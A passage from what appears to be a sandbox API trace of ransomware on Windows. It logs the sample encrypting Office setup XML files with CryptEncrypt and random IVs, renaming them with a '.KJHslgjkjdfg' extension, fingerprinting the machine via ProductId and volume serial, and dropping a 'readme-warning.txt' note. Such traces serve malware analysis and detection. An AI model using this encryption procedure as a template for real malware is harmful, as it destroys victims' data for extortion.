dwFlags=0x0) returned 1 [0164.312] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.312] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x5ac, lpOverlapped=0x0) returned 1 [0164.313] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x5b0) returned 1 [0164.313] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.313] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x5b0, lpOverlapped=0x0) returned 1 [0164.313] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.313] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.313] SetEndOfFile (hFile=0x114) returned 1 [0164.315] GetProcessHeap () returned 0x990000 [0164.315] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.315] GetProcessHeap () returned 0x990000 [0164.316] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.316] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.316] CloseHandle (hObject=0x114) returned 1 [0164.316] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0164.316] GetProcessHeap () returned 0x990000 [0164.316] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.316] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.316] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.316] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.317] GetProcessHeap () returned 0x990000 [0164.317] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.317] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.317] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.317] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.317] GetProcessHeap () returned 0x990000 [0164.317] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0164.317] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.317] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.317] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.317] GetProcessHeap () returned 0x990000 [0164.317] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.317] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.317] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.317] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.317] GetProcessHeap () returned 0x990000 [0164.317] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.317] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.317] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.317] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.317] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.318] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.318] RegCloseKey (hKey=0x114) returned 0x0 [0164.318] GetProcessHeap () returned 0x990000 [0164.318] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.318] GetProcessHeap () returned 0x990000 [0164.318] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.318] GetProcessHeap () returned 0x990000 [0164.318] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.318] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.318] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.318] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.318] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.318] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.319] GetProcessHeap () returned 0x990000 [0164.319] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.319] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.319] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.319] GetProcessHeap () returned 0x990000 [0164.319] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.319] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\readme-warning.txt") returned 111 [0164.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.322] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.323] CloseHandle (hObject=0x114) returned 1 [0164.323] GetProcessHeap () returned 0x990000 [0164.323] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.324] GetProcessHeap () returned 0x990000 [0164.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.324] GetProcessHeap () returned 0x990000 [0164.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.324] GetProcessHeap () returned 0x990000 [0164.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.324] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.324] GetProcessHeap () returned 0x990000 [0164.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.324] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0164.324] GetProcessHeap () returned 0x990000 [0164.324] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xce) returned 0x9b2468 [0164.324] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.325] GetProcessHeap () returned 0x990000 [0164.325] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.325] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0164.325] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0164.325] GetProcessHeap () returned 0x990000 [0164.326] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2d0) returned 0x9b7e10 [0164.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.326] GetProcessHeap () returned 0x990000 [0164.326] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.326] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.326] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.326] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x1, lpOverlapped=0x0) returned 1 [0164.328] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.328] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.328] GetProcessHeap () returned 0x990000 [0164.328] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.328] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.328] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.328] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.328] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.328] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.329] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.329] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.329] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.329] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.329] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.329] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.329] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x4cf, lpOverlapped=0x0) returned 1 [0164.329] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x4d0) returned 1 [0164.329] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.329] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x4d0, lpOverlapped=0x0) returned 1 [0164.329] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.329] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.329] SetEndOfFile (hFile=0x114) returned 1 [0164.331] GetProcessHeap () returned 0x990000 [0164.332] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.332] GetProcessHeap () returned 0x990000 [0164.332] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.kjhslgjkjdfg")) returned 1 [0164.332] CloseHandle (hObject=0x114) returned 1 [0164.333] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0164.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.333] GetProcessHeap () returned 0x990000 [0164.333] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.333] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.333] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.333] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.336] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.336] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.336] GetProcessHeap () returned 0x990000 [0164.336] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.336] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.336] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.336] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.336] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.336] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.336] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.336] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.336] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.337] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.337] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.337] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.337] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x73c, lpOverlapped=0x0) returned 1 [0164.337] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x740, dwBufLen=0x740 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x740) returned 1 [0164.337] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.337] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x740, lpOverlapped=0x0) returned 1 [0164.337] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.337] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.337] SetEndOfFile (hFile=0x114) returned 1 [0164.339] GetProcessHeap () returned 0x990000 [0164.339] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.339] GetProcessHeap () returned 0x990000 [0164.339] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.342] CloseHandle (hObject=0x114) returned 1 [0164.342] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0164.342] GetProcessHeap () returned 0x990000 [0164.342] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.342] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.342] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.342] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.342] GetProcessHeap () returned 0x990000 [0164.342] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.342] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, 